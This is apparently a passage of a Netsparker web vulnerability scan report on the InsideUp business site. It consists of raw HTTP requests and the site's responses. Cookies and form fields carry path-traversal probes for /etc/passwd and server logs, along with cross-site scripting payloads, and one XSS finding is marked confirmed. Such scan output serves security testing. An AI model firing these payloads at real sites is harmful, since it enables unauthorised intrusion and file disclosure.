OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Content-Length: 304
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

companyName=Smith&emailAddress='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0004C8)%3c%2fscript%3e&firstName=Smith&lastName=Smith&password1=3&password2=3&pseudonym=3&receiveSpecialOfferEmail=netsparker%40example.com&refererUrl=http%3a%2f%2fwww.insideup.com%2findex.html&termsOfService=3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:21:40 GMT
Server: Apache/2.2.9 (Fedora)
Set-Cookie: JSESSIONID=1BDF420E3D5491B24D688935D0B0644A; Path=/
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store
Content-Language: en-US
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="keywords" content="InsideUp, business, wiki, advertise, business category, vendors, ratings, business service, technology, leads, community, social networking, referral, reference, share, San Diego, commerce, b2b, trade, industry, selling, production, big business, dealing, corporation, conglomerate, establishment, partnership, firm, multinational, transnational, small business, enterprise, venture, organization, transaction, contract, commercial, occupational, corporate, publicize, market, search, forum, forums, discuss, share, information"/> <meta name="description" content="Join your community and share your services!"/> <meta name="robots" content="index; follow"/> <title>Share your services and experiences with your community.</title> <link rel="stylesheet" type="text/css" href="/css/mainNewInsideup.css" />
<link rel="stylesheet" type="text/css" href="/css/calendar.css" /> <script type="text/javascript" src="/js/jquery-1.2.1.js"></script> <script type="text/javascript" src="/js/ajax.js"></script> <script type="text/javascript" src="/js/ajax-dynamic-list.js"></script> <script type="text/javascript" src="/js/default.js"></script> <script type="text/javascript" src="/js/calendar.js" ></script> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5083151-1"); pageTracker._setDomainName(".insideup.com"); pageTracker._trackPageview(); } catch(err) {} </script></head><body> <div id="mainContainer">
 <div class="header">  <script language="javascript">function clearInput(e){if(e.value=='username'||e.value=='password'){e.value="";} }</script> <style>.c_767676, a.c_767676:link, a.c_767676:visited { color:#767676; text-decoration:none; font:bold 14px Arial;}a.c_767676:hover { color:#767676; text-decoration:underline; font:bold 14px Arial;}</style> <div class="h-container"> <div> <div class="float-left logo"><a href="/index.html"><img src="/images/logo.png" alt="InsideUp Logo" width="157" height="78"></a></div> <div style="float:left;padding:10px 0 0 10px;"> <div style="float:left;padding:7px 0px 0 0;font-size:11px;color:#777777;font-weight:bold;">Your City:</div> <div style="float:left;padding:0px 0 0 7px; width:123px;color:#2B70CD;font-weight:bold;font-size:9px;"> <div style="float:left;width:135px; padding:2px 10px 0 0;"> <select style="width:128px;color:#2B70CD;font-weight:bold;font-size:9px;" id="cityselectbox" name="cityselectbox" onchange="updateUserSessionCity();"> <option value="Albuquerque" >Albuquerque</option> <option value="Atlanta" >Atlanta</option> <option value="Austin" >Austin</option> <option value="Baltimore" >Baltimore</option> <option value="Boston" >Boston</option> <option value="Charlotte" >Charlotte</option> <option value="Chicago" >Chicago</option> <option value="Cincinnati" >Cincinnati</option> <option value="Cleveland" >Cleveland</option> <option value="Columbus" >Columbus</option> <option value="Dallas" selected=selected >Dallas</option> <option value="Denver" >Denver</option> <option value="Detroit" >Detroit</option> <option value="El Paso" >El Paso</option> <option value="Fort Worth" >Fort Worth</option> <option value="Fresno" >Fresno</option> <option value="Honolulu" >Honolulu</option> <option value="Houston" >Houston</option> <option value="Indianapolis" >Indianapolis</option> <option value="Jacksonville" >Jacksonville</option> <option value="Kansas City" >Kansas City</option> <option value="Las Vegas" >Las Vegas</option> <option value="Los Angeles" >Los Angeles</option> <option value="Memphis" >Memphis</option> <option value="Mesa" >Mesa</option> <option value="Miami" >Miami</option> <option value="Milwaukee" >Milwaukee</option> <option value="Minneapolis-St. Paul" >Minneapolis-St. Paul</option> <option value="Nashville" >Nashville</option> <option value="New Orleans" >New Orleans</option> <option value="New York" >New York</option> <option value="Newark" >Newark</option> <option value="Oakland" >Oakland</option> <option value="Orlando" >Orlando</option> <option value="Philadelphia" >Philadelphia</option> <option value="Phoenix" >Phoenix</option> <option value="Pittsburgh" >Pittsburgh</option> <option value="Portland" >Portland</option> <option value="Raleigh" >Raleigh</option> <option value="San Diego" >San Diego</option> <option value="Sacramento" >Sacramento</option> <option value="San Antonio" >San Antonio</option> <option value="San Francisco" >San Francisco</option> <option value="San Jose" >San Jose</option> <option value="Seattle" >Seattle</option> <option value="St. Louis" >St. Louis</option> <option value="Tampa" >Tampa</option> <option value="Tucson" >Tucson</option> <option value="Tulsa" >Tulsa</option> <option value="Washington D.C." >Washington D.C.</option> </select> </div> </div> </div> <div> <div id="loginAndMemberContainer"> <form id="loginForm" method="post"> <input type="hidden" name="refererUrl" value="http://www.insideup.com/index.html"> <div style="width:320px;height:55px;float:left;padding:10px 0 0 5px;"> <div> <div style="float:left;padding:0px 0 0 10px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="username" type="text" value="username" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="1"/> </div> <div style="float:left;padding:0px 0 0 8px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="password" type="password" value="password" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="2" /> </div> <div style="float:left;padding:0px 0 0 8px;"> <a href="javascript:void(0);" onclick="javascript:submitLogin();checkScreenWidth();" onkeypress="checkEnterKey(event)"><img src="/images/loginBtn.gif" border="0" onkeypress="checkEnterKey(event)" tabindex="4" alt="Login"/></a> </div> </div> <div style="float:left; padding:2px 0 0 0;"> <input type="hidden" name="_rememberme"> <div style="float:left;padding:0px 0 0 10px;"><input tabindex="3" type="checkbox" name="rememberme" value="true" /></div> <div style="float:left;padding:3px 0 0 2px;color:#777777;font-size:10px;font-weight:bold;">Remember Me</div> <div style="float:left;padding:3px 0 0 20px;color:#777777;font-size:10px; font-weight:bold;"> <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </div> <div style="padding: 3px 0pt 0pt 10px; float: left;"><a href="/communitysignup.html" style="color:#777777; font-size: 10px; font-weight: bold;" class="greyBs">Register Now</a></div> </div> </div> </form> </div> <div style="float:left;padding:17px 0 0 0; width:110px;color:black;font-size:11px" id="blkShare"> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost%2Cemail&charset=utf-8&style=default&publisher=c17cda91-72c8-497c-bea7-a4d4698b5bb5&offsetLeft=-349"></script> </div> <img style="display:none;" src="/images/spacer.gif" onload="trackingPageContent('Community Signup',0,'')" alt="Home" /> </div> </div> <div class="clear"></div> <div class="punchLine">Where Business Services Buyers & Sellers Connect</div> <div class="float-left" style="width:550px;"> <ul id="headerNav" class="headerNav headerHomeActive"> <li class="headerHome"><a href="/index.html" onMouseOver="toggleHeader(0, 'headerHomeActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Home</a></li> <li class="headerAdvertise"><a href="/advertise.html" onMouseOver="toggleHeader(0, 'headerAdvertiseActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Advertise</a></li> <li class="headerPartner"><a href="/partner.html" onMouseOver="toggleHeader(0, 'headerPartnerActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Partner</a></li> <li class="headerAboutus"><a href="/aboutUs.html" onMouseOver="toggleHeader(0, 'headerAboutusActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">About Us</a></li> <li class="headerResources"><a href="/communitymainpage.html" onMouseOver="toggleHeader(0, 'headerResourcesActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Resources</a></li> <li class="headerContactus"><a href="/contactUs.html" onMouseOver="toggleHeader(0, 'headerContactusActive')" onMouseOut="toggleHeader(1, 'headerHomeActive')">Contact us</a></li> </ul> </div> <div class="clear"></div> </div> <div style="clear:both;"></div> <div id="forgotPasswordPopUpLayerBody" style="*left:15%;*top:18%;"></div> </div>   <div id="midSectionBox">  <script type="text/javascript"> function invertValue(y){ var x=document.getElementById(y).value if(x==0) { document.getElementById(y).value=1 } if(x==1) { document.getElementById(y).value=0 }}</script><div style="background:url(/images/midSliceMain.gif);"> <div style="width:850px; height:740px; margin:auto; padding-top:20px;">  <div style="width:530px; height:auto; float:left;"> <div id="communityLogin"> <div style="width:492px; height:84px; border:1px solid #eeeeee;"> <form method="post" id="communityLoginId"> <input type="hidden" name="refererUrl" value="http://www.insideup.com/index.html"> <table width="96%" border="0" align="right" cellpadding="0" cellspacing="0"> <tr> <td width="27%" height="70" style="font:bold 12px Arial, Helvetica, sans-serif; color:#777777;">Already A Member?</td> <td width="53%" valign="bottom" style="font:bold 12px Arial, Helvetica, sans-serif; color:#777777; padding-top:22px;">  <input name="username" value="username" type="text" onclick="clearInput(this);" onfocus="clearInput(this);" id="textfield" style="width:110px; padding:3px 0 0 3px; height:20px; border:1px solid #cccccc; margin-left:5px;" onkeypress="checkEnterKey(event)" /> <input type="password" name="password" id="textfield" style="width:110px; height:22px; border:1px solid #cccccc; padding:3px 0 0 3px; height:20px; margin-left:5px;" value="password" onclick="clearInput(this);" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" /> <span style="padding-left: 10px; line-height: 12px;"> <input type="hidden" name="_rememberme"> <input type="checkbox" name="rememberme" id="checkbox" value="true" /> <span style="color:#777777;font-size:10px;font-weight:bold;text-decoration:none;">Remember Me</span>       <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </span> </td> <td width="22%" style="padding-top:6px;">  <a href="javascript:void(0);" onclick="javascript:submitCommunityLogin();checkScreenWidth();"><img src="images/ComunityLogin.png" border="0" alt="Login"/></a> </td> </tr> </table> </form> </div> </div> <form method="post" action="communitysignup.html"> <input type="hidden" name="refererUrl" value='http://www.insideup.com/index.html'/> <div> <table width="496" border="0" cellspacing="0" cellpadding="0" style="margin-top:20px;"> <tr> <td colspan="2" style="font:bold 22px Arial, Helvetica, sans-serif; color:#181818;">Create Your Free Account</td> </tr> <tr> <td height="24" colspan="2" style="font:normal 12px Arial, Helvetica, sans-serif; color:#181818;">To gain free access to the InsideUp community please complete this short registration.</td> </tr> <tr> <td width="131" height="50" align="right" style="font:normal 12px Arial, Helvetica, sans-serif; color:#212121">Username <span style="color:#dc0000">*</span></td> <td width="365"> <input type="text" name="pseudonym" value="3" id="pseudonym" style="width:280px; height:18px; padding-top:3px; margin-left:10px;" class="inputbox123 " /> </td> </tr> <tr> <td height="50" align="right" style="font:normal 12px Arial, Helvetica, sans-serif; color:#212121">Email <span style="color:#dc0000">*</span></td> <td> <input type="text" name="emailAddress" value="'"--></style></script><script>netsparker(0x0004C..

- /whitePapaper.html

/whitePapaper.html CONFIRMED

http://www.insideup.com/whitePapaper.html

Parameters

Parameter	Type	Value
company	POST	3
companyServices	POST	3
email	POST	netsparker@example.com
firstName	POST	Smith
iusrc	POST	3
lastName	POST	Smith
parentPage	POST	3
phone	POST	3
src	POST	'"--></style></script><script>alert(0x0004C7)</script>
Submit	POST	3
url	POST	3

Request

POST /whitePapaper.html HTTP/1.1
Referer: http://www.insideup.com/aboutUs.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Content-Length: 223
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

company=3&companyServices=3&email=netsparker%40example.com&firstName=Smith&iusrc=3&lastName=Smith&parentPage=3&phone=3&src='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0004C7)%3c%2fscript%3e&Submit=3&url=3

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:21:40 GMT
Server: Apache/2.2.9 (Fedora)
Set-Cookie: JSESSIONID=4F61E89C7F2C938D4743E3E1673F72B2; Path=/
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache,no-store
Content-Language: en-US
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

<!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta name="keywords" content=""/> <meta name="description" content=""/> <meta name="robots" content="index; follow"/> <title></title> <link href="/css/reset.css" rel="stylesheet" type="text/css"><link href="/css/grid.css" rel="stylesheet" type="text/css"><link href="/css/newstyle.css" rel="stylesheet" type="text/css"><script type="text/javascript" src="/js/jquery-1.2.1.js"></script><script type="text/javascript" src="/js/ajax.js"></script><script type="text/javascript" src="/js/ajax-dynamic-list.js"></script><script type="text/javascript" src="/js/default.js"></script><script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5083151-1"); pageTracker._setDomainName(".insideup.com"); pageTracker._trackPageview(); } catch(err) {}</script></head><body><div class="container"> <div class="wrapper"> <div class="header"> <script language="javascript">function clearInput(e){if(e.value=='username'||e.value=='password'){e.value="";} }</script> <style>.c_767676, a.c_767676:link, a.c_767676:visited { color:#767676; text-decoration:none; font:bold 14px Arial;}a.c_767676:hover { color:#767676; text-decoration:underline; font:bold 14px Arial;}</style> <div class="h-container"> <div> <div class="float-left logo"><a href="/index.html"><img src="/images/logo.png" alt="InsideUp Logo" width="157" height="78"></a></div> <div style="float:left;padding:10px 0 0 10px;"> <div style="float:left;padding:7px 0px 0 0;font-size:11px;color:#777777;font-weight:bold;">Your City:</div> <div style="float:left;padding:0px 0 0 7px; width:123px;color:#2B70CD;font-weight:bold;font-size:9px;"> <div style="float:left;width:135px; padding:2px 10px 0 0;"> <select style="width:128px;color:#2B70CD;font-weight:bold;font-size:9px;" id="cityselectbox" name="cityselectbox" onchange="updateUserSessionCity();"> <option value="Albuquerque" >Albuquerque</option> <option value="Atlanta" >Atlanta</option> <option value="Austin" >Austin</option> <option value="Baltimore" >Baltimore</option> <option value="Boston" >Boston</option> <option value="Charlotte" >Charlotte</option> <option value="Chicago" >Chicago</option> <option value="Cincinnati" >Cincinnati</option> <option value="Cleveland" >Cleveland</option> <option value="Columbus" >Columbus</option> <option value="Dallas" selected=selected >Dallas</option> <option value="Denver" >Denver</option> <option value="Detroit" >Detroit</option> <option value="El Paso" >El Paso</option> <option value="Fort Worth" >Fort Worth</option> <option value="Fresno" >Fresno</option> <option value="Honolulu" >Honolulu</option> <option value="Houston" >Houston</option> <option value="Indianapolis" >Indianapolis</option> <option value="Jacksonville" >Jacksonville</option> <option value="Kansas City" >Kansas City</option> <option value="Las Vegas" >Las Vegas</option> <option value="Los Angeles" >Los Angeles</option> <option value="Memphis" >Memphis</option> <option value="Mesa" >Mesa</option> <option value="Miami" >Miami</option> <option value="Milwaukee" >Milwaukee</option> <option value="Minneapolis-St. Paul" >Minneapolis-St. Paul</option> <option value="Nashville" >Nashville</option> <option value="New Orleans" >New Orleans</option> <option value="New York" >New York</option> <option value="Newark" >Newark</option> <option value="Oakland" >Oakland</option> <option value="Orlando" >Orlando</option> <option value="Philadelphia" >Philadelphia</option> <option value="Phoenix" >Phoenix</option> <option value="Pittsburgh" >Pittsburgh</option> <option value="Portland" >Portland</option> <option value="Raleigh" >Raleigh</option> <option value="San Diego" >San Diego</option> <option value="Sacramento" >Sacramento</option> <option value="San Antonio" >San Antonio</option> <option value="San Francisco" >San Francisco</option> <option value="San Jose" >San Jose</option> <option value="Seattle" >Seattle</option> <option value="St. Louis" >St. Louis</option> <option value="Tampa" >Tampa</option> <option value="Tucson" >Tucson</option> <option value="Tulsa" >Tulsa</option> <option value="Washington D.C." >Washington D.C.</option> </select> </div> </div> </div> <div> <div id="loginAndMemberContainer"> <form id="loginForm" method="post"> <input type="hidden" name="refererUrl" value=""> <div style="width:320px;height:55px;float:left;padding:10px 0 0 5px;"> <div> <div style="float:left;padding:0px 0 0 10px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="username" type="text" value="username" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="1"/> </div> <div style="float:left;padding:0px 0 0 8px;"> <input style="border:1px solid #CCCCCC;height:20px;width:107px;padding:3px 0 0 3px;" name="password" type="password" value="password" onfocus="clearInput(this);" onkeypress="checkEnterKey(event)" tabindex="2" /> </div> <div style="float:left;padding:0px 0 0 8px;"> <a href="javascript:void(0);" onclick="javascript:submitLogin();checkScreenWidth();" onkeypress="checkEnterKey(event)"><img src="/images/loginBtn.gif" border="0" onkeypress="checkEnterKey(event)" tabindex="4" alt="Login"/></a> </div> </div> <div style="float:left; padding:2px 0 0 0;"> <input type="hidden" name="_rememberme"> <div style="float:left;padding:0px 0 0 10px;"><input tabindex="3" type="checkbox" name="rememberme" value="true" /></div> <div style="float:left;padding:3px 0 0 2px;color:#777777;font-size:10px;font-weight:bold;">Remember Me</div> <div style="float:left;padding:3px 0 0 20px;color:#777777;font-size:10px; font-weight:bold;"> <a href="#" class="greyBs" onClick="showForgotPassword();">Password Reminder</a> </div> <div style="padding: 3px 0pt 0pt 10px; float: left;"><a href="/communitysignup.html" style="color:#777777; font-size: 10px; font-weight: bold;" class="greyBs">Register Now</a></div> </div> </div> </form> </div> <div style="float:left;padding:17px 0 0 0; width:110px;color:black;font-size:11px" id="blkShare"> <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cpost%2Cemail&charset=utf-8&style=default&publisher=c17cda91-72c8-497c-bea7-a4d4698b5bb5&offsetLeft=-349"></script> </div> <img style="display:none;" src="/images/spacer.gif" onload="trackingPageContent('White Paper Form',0,'')" alt="" /> </div> </div> <div class="clear"></div> <div class="punchLine">Where Business Services Buyers & Sellers Connect</div> <div class="float-left" style="width:550px;"> <ul id="headerNav" class="headerNav headerAdvertiseActive"> <li class="headerHome"><a href="/index.html" onMouseOver="toggleHeader(0, 'headerHomeActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Home</a></li> <li class="headerAdvertise"><a href="/advertise.html" onMouseOver="toggleHeader(0, 'headerAdvertiseActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Advertise</a></li> <li class="headerPartner"><a href="/partner.html" onMouseOver="toggleHeader(0, 'headerPartnerActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Partner</a></li> <li class="headerAboutus"><a href="/aboutUs.html" onMouseOver="toggleHeader(0, 'headerAboutusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">About Us</a></li> <li class="headerResources"><a href="/communitymainpage.html" onMouseOver="toggleHeader(0, 'headerResourcesActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Resources</a></li> <li class="headerContactus"><a href="/contactUs.html" onMouseOver="toggleHeader(0, 'headerContactusActive')" onMouseOut="toggleHeader(1, 'headerAdvertiseActive')">Contact us</a></li> </ul> </div> <div class="clear"></div> </div> <div 